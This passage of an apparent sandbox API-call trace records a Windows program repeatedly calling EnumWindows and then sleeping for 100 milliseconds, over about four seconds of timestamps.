lParam=0x410000) [0294.729] Sleep (dwMilliseconds=0x64) [0294.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.735] Sleep (dwMilliseconds=0x64) [0294.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0294.806] Sleep (dwMilliseconds=0x64) [0295.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.008] Sleep (dwMilliseconds=0x64) [0295.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.063] Sleep (dwMilliseconds=0x64) [0295.145] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.146] Sleep (dwMilliseconds=0x64) [0295.147] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.147] Sleep (dwMilliseconds=0x64) [0295.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.153] Sleep (dwMilliseconds=0x64) [0295.156] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.156] Sleep (dwMilliseconds=0x64) [0295.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.160] Sleep (dwMilliseconds=0x64) [0295.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.170] Sleep (dwMilliseconds=0x64) [0295.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.172] Sleep (dwMilliseconds=0x64) [0295.173] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.173] Sleep (dwMilliseconds=0x64) [0295.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.175] Sleep (dwMilliseconds=0x64) [0295.207] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.207] Sleep (dwMilliseconds=0x64) [0295.286] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.287] Sleep (dwMilliseconds=0x64) [0295.288] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.289] Sleep (dwMilliseconds=0x64) [0295.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.290] Sleep (dwMilliseconds=0x64) [0295.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.294] Sleep (dwMilliseconds=0x64) [0295.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.296] Sleep (dwMilliseconds=0x64) [0295.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.298] Sleep (dwMilliseconds=0x64) [0295.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.300] Sleep (dwMilliseconds=0x64) [0295.302] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.302] Sleep (dwMilliseconds=0x64) [0295.304] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.304] Sleep (dwMilliseconds=0x64) [0295.307] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.307] Sleep (dwMilliseconds=0x64) [0295.308] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.309] Sleep (dwMilliseconds=0x64) [0295.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.311] Sleep (dwMilliseconds=0x64) [0295.312] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.312] Sleep (dwMilliseconds=0x64) [0295.314] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.315] Sleep (dwMilliseconds=0x64) [0295.316] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.316] Sleep (dwMilliseconds=0x64) [0295.328] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.328] Sleep (dwMilliseconds=0x64) [0295.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.418] Sleep (dwMilliseconds=0x64) [0295.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.424] Sleep (dwMilliseconds=0x64) [0295.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.426] Sleep (dwMilliseconds=0x64) [0295.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.428] Sleep (dwMilliseconds=0x64) [0295.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.429] Sleep (dwMilliseconds=0x64) [0295.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.431] Sleep (dwMilliseconds=0x64) [0295.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.433] Sleep (dwMilliseconds=0x64) [0295.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.435] Sleep (dwMilliseconds=0x64) [0295.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.437] Sleep (dwMilliseconds=0x64) [0295.438] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.440] Sleep (dwMilliseconds=0x64) [0295.442] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.442] Sleep (dwMilliseconds=0x64) [0295.444] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.444] Sleep (dwMilliseconds=0x64) [0295.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.446] Sleep (dwMilliseconds=0x64) [0295.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.460] Sleep (dwMilliseconds=0x64) [0295.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.549] Sleep (dwMilliseconds=0x64) [0295.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.560] Sleep (dwMilliseconds=0x64) [0295.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.577] Sleep (dwMilliseconds=0x64) [0295.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.586] Sleep (dwMilliseconds=0x64) [0295.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.590] Sleep (dwMilliseconds=0x64) [0295.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.592] Sleep (dwMilliseconds=0x64) [0295.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.594] Sleep (dwMilliseconds=0x64) [0295.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.595] Sleep (dwMilliseconds=0x64) [0295.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.597] Sleep (dwMilliseconds=0x64) [0295.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.598] Sleep (dwMilliseconds=0x64) [0295.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.600] Sleep (dwMilliseconds=0x64) [0295.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.601] Sleep (dwMilliseconds=0x64) [0295.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.603] Sleep (dwMilliseconds=0x64) [0295.604] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.604] Sleep (dwMilliseconds=0x64) [0295.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.606] Sleep (dwMilliseconds=0x64) [0295.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.607] Sleep (dwMilliseconds=0x64) [0295.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.676] Sleep (dwMilliseconds=0x64) [0295.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.712] Sleep (dwMilliseconds=0x64) [0295.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.714] Sleep (dwMilliseconds=0x64) [0295.717] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.717] Sleep (dwMilliseconds=0x64) [0295.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.718] Sleep (dwMilliseconds=0x64) [0295.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.720] Sleep (dwMilliseconds=0x64) [0295.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.721] Sleep (dwMilliseconds=0x64) [0295.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.723] Sleep (dwMilliseconds=0x64) [0295.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.724] Sleep (dwMilliseconds=0x64) [0295.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.726] Sleep (dwMilliseconds=0x64) [0295.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.728] Sleep (dwMilliseconds=0x64) [0295.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.730] Sleep (dwMilliseconds=0x64) [0295.732] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.732] Sleep (dwMilliseconds=0x64) [0295.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.733] Sleep (dwMilliseconds=0x64) [0295.735] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.735] Sleep (dwMilliseconds=0x64) [0295.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.736] Sleep (dwMilliseconds=0x64) [0295.738] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.738] Sleep (dwMilliseconds=0x64) [0295.747] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.747] Sleep (dwMilliseconds=0x64) [0295.749] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.749] Sleep (dwMilliseconds=0x64) [0295.750] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.750] Sleep (dwMilliseconds=0x64) [0295.752] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.752] Sleep (dwMilliseconds=0x64) [0295.754] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.754] Sleep (dwMilliseconds=0x64) [0295.755] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.756] Sleep (dwMilliseconds=0x64) [0295.758] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.758] Sleep (dwMilliseconds=0x64) [0295.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.760] Sleep (dwMilliseconds=0x64) [0295.761] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.761] Sleep (dwMilliseconds=0x64) [0295.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.763] Sleep (dwMilliseconds=0x64) [0295.766] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.766] Sleep (dwMilliseconds=0x64) [0295.768] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.768] Sleep (dwMilliseconds=0x64) [0295.770] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.770] Sleep (dwMilliseconds=0x64) [0295.772] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.772] Sleep (dwMilliseconds=0x64) [0295.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.774] Sleep (dwMilliseconds=0x64) [0295.776] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.777] Sleep (dwMilliseconds=0x64) [0295.778] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.820] Sleep (dwMilliseconds=0x64) [0295.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.866] Sleep (dwMilliseconds=0x64) [0295.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.868] Sleep (dwMilliseconds=0x64) [0295.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.870] Sleep (dwMilliseconds=0x64) [0295.872] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.872] Sleep (dwMilliseconds=0x64) [0295.874] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.874] Sleep (dwMilliseconds=0x64) [0295.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.876] Sleep (dwMilliseconds=0x64) [0295.895] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.896] Sleep (dwMilliseconds=0x64) [0295.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0295.977] Sleep (dwMilliseconds=0x64) [0296.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.060] Sleep (dwMilliseconds=0x64) [0296.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.067] Sleep (dwMilliseconds=0x64) [0296.077] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.077] Sleep (dwMilliseconds=0x64) [0296.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.151] Sleep (dwMilliseconds=0x64) [0296.187] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.188] Sleep (dwMilliseconds=0x64) [0296.259] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.259] Sleep (dwMilliseconds=0x64) [0296.261] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.261] Sleep (dwMilliseconds=0x64) [0296.262] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.262] Sleep (dwMilliseconds=0x64) [0296.264] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.264] Sleep (dwMilliseconds=0x64) [0296.265] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.265] Sleep (dwMilliseconds=0x64) [0296.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.428] Sleep (dwMilliseconds=0x64) [0296.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.451] Sleep (dwMilliseconds=0x64) [0296.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.538] Sleep (dwMilliseconds=0x64) [0296.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.540] Sleep (dwMilliseconds=0x64) [0296.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.542] Sleep (dwMilliseconds=0x64) [0296.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.544] Sleep (dwMilliseconds=0x64) [0296.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.549] Sleep (dwMilliseconds=0x64) [0296.550] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.551] Sleep (dwMilliseconds=0x64) [0296.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.553] Sleep (dwMilliseconds=0x64) [0296.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.557] Sleep (dwMilliseconds=0x64) [0296.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.559] Sleep (dwMilliseconds=0x64) [0296.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.562] Sleep (dwMilliseconds=0x64) [0296.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.563] Sleep (dwMilliseconds=0x64) [0296.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.565] Sleep (dwMilliseconds=0x64) [0296.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.567] Sleep (dwMilliseconds=0x64) [0296.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.568] Sleep (dwMilliseconds=0x64) [0296.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.588] Sleep (dwMilliseconds=0x64) [0296.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.677] Sleep (dwMilliseconds=0x64) [0296.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.679] Sleep (dwMilliseconds=0x64) [0296.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.681] Sleep (dwMilliseconds=0x64) [0296.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.683] Sleep (dwMilliseconds=0x64) [0296.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.685] Sleep (dwMilliseconds=0x64) [0296.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.689] Sleep (dwMilliseconds=0x64) [0296.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.691] Sleep (dwMilliseconds=0x64) [0296.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.703] Sleep (dwMilliseconds=0x64) [0296.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.705] Sleep (dwMilliseconds=0x64) [0296.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.729] Sleep (dwMilliseconds=0x64) [0296.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.730] Sleep (dwMilliseconds=0x64) [0296.818] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.819] Sleep (dwMilliseconds=0x64) [0296.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.821] Sleep (dwMilliseconds=0x64) [0296.822] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.823] Sleep (dwMilliseconds=0x64) [0296.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.825] Sleep (dwMilliseconds=0x64) [0296.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.827] Sleep (dwMilliseconds=0x64) [0296.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.829] Sleep (dwMilliseconds=0x64) [0296.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.831] Sleep (dwMilliseconds=0x64) [0296.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.834] Sleep (dwMilliseconds=0x64) [0296.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.836] Sleep (dwMilliseconds=0x64) [0296.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.838] Sleep (dwMilliseconds=0x64) [0296.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.840] Sleep (dwMilliseconds=0x64) [0296.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.843] Sleep (dwMilliseconds=0x64) [0296.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.844] Sleep (dwMilliseconds=0x64) [0296.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.846] Sleep (dwMilliseconds=0x64) [0296.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.848] Sleep (dwMilliseconds=0x64) [0296.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.874] Sleep (dwMilliseconds=0x64) [0296.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.970] Sleep (dwMilliseconds=0x64) [0296.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.972] Sleep (dwMilliseconds=0x64) [0296.974] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.974] Sleep (dwMilliseconds=0x64) [0296.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.976] Sleep (dwMilliseconds=0x64) [0296.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.977] Sleep (dwMilliseconds=0x64) [0296.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.979] Sleep (dwMilliseconds=0x64) [0296.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.981] Sleep (dwMilliseconds=0x64) [0296.983] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.983] Sleep (dwMilliseconds=0x64) [0296.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.985] Sleep (dwMilliseconds=0x64) [0296.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.987] Sleep (dwMilliseconds=0x64) [0296.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.988] Sleep (dwMilliseconds=0x64) [0296.989] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.990] Sleep (dwMilliseconds=0x64) [0296.991] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.991] Sleep (dwMilliseconds=0x64) [0296.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.993] Sleep (dwMilliseconds=0x64) [0296.995] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.995] Sleep (dwMilliseconds=0x64) [0296.998] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0296.998] Sleep (dwMilliseconds=0x64) [0297.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.000] Sleep (dwMilliseconds=0x64) [0297.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.034] Sleep (dwMilliseconds=0x64) [0297.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.112] Sleep (dwMilliseconds=0x64) [0297.113] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.114] Sleep (dwMilliseconds=0x64) [0297.138] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.139] Sleep (dwMilliseconds=0x64) [0297.140] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.141] Sleep (dwMilliseconds=0x64) [0297.143] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.143] Sleep (dwMilliseconds=0x64) [0297.146] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.147] Sleep (dwMilliseconds=0x64) [0297.148] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.149] Sleep (dwMilliseconds=0x64) [0297.150] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.151] Sleep (dwMilliseconds=0x64) [0297.153] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.153] Sleep (dwMilliseconds=0x64) [0297.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.155] Sleep (dwMilliseconds=0x64) [0297.215] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.216] Sleep (dwMilliseconds=0x64) [0297.455] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.455] Sleep (dwMilliseconds=0x64) [0297.456] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.457] Sleep (dwMilliseconds=0x64) [0297.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.459] Sleep (dwMilliseconds=0x64) [0297.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.462] Sleep (dwMilliseconds=0x64) [0297.476] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.477] Sleep (dwMilliseconds=0x64) [0297.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.490] Sleep (dwMilliseconds=0x64) [0297.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.548] Sleep (dwMilliseconds=0x64) [0297.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.632] Sleep (dwMilliseconds=0x64) [0297.692] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0297.693] Sleep (dwMilliseconds=0x64) [0298.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.011] Sleep (dwMilliseconds=0x64) [0298.094] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.095] Sleep (dwMilliseconds=0x64) [0298.111] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.112] Sleep (dwMilliseconds=0x64) [0298.116] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.116] Sleep (dwMilliseconds=0x64) [0298.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.177] Sleep (dwMilliseconds=0x64) [0298.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.327] Sleep (dwMilliseconds=0x64) [0298.329] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.329] Sleep (dwMilliseconds=0x64) [0298.331] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.331] Sleep (dwMilliseconds=0x64) [0298.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.334] Sleep (dwMilliseconds=0x64) [0298.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.336] Sleep (dwMilliseconds=0x64) [0298.337] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.337] Sleep (dwMilliseconds=0x64) [0298.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.340] Sleep (dwMilliseconds=0x64) [0298.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.341] Sleep (dwMilliseconds=0x64) [0298.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.343] Sleep (dwMilliseconds=0x64) [0298.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.344] Sleep (dwMilliseconds=0x64) [0298.346] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.346] Sleep (dwMilliseconds=0x64) [0298.350] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.350] Sleep (dwMilliseconds=0x64) [0298.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.352] Sleep (dwMilliseconds=0x64) [0298.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.354] Sleep (dwMilliseconds=0x64) [0298.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.356] Sleep (dwMilliseconds=0x64) [0298.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.385] Sleep (dwMilliseconds=0x64) [0298.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.387] Sleep (dwMilliseconds=0x64) [0298.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.487] Sleep (dwMilliseconds=0x64) [0298.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.489] Sleep (dwMilliseconds=0x64) [0298.490] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.491] Sleep (dwMilliseconds=0x64) [0298.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.498] Sleep (dwMilliseconds=0x64) [0298.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.499] Sleep (dwMilliseconds=0x64) [0298.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.501] Sleep (dwMilliseconds=0x64) [0298.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.503] Sleep (dwMilliseconds=0x64) [0298.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.505] Sleep (dwMilliseconds=0x64) [0298.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.507] Sleep (dwMilliseconds=0x64) [0298.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.510] Sleep (dwMilliseconds=0x64) [0298.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.512] Sleep (dwMilliseconds=0x64) [0298.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.514] Sleep (dwMilliseconds=0x64) [0298.515] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.516] Sleep (dwMilliseconds=0x64) [0298.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.517] Sleep (dwMilliseconds=0x64) [0298.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.522] Sleep (dwMilliseconds=0x64) [0298.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.524] Sleep (dwMilliseconds=0x64) [0298.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.528] Sleep (dwMilliseconds=0x64) [0298.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.531] Sleep (dwMilliseconds=0x64) [0298.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.562] Sleep (dwMilliseconds=0x64) [0298.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.914] Sleep (dwMilliseconds=0x64) [0298.915] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.916] Sleep (dwMilliseconds=0x64) [0298.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.918] Sleep (dwMilliseconds=0x64) [0298.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.920] Sleep (dwMilliseconds=0x64) [0298.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.924] Sleep (dwMilliseconds=0x64) [0298.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0298.926] Sleep (dwMilliseconds=0x64) [0298.928] EnumWindows 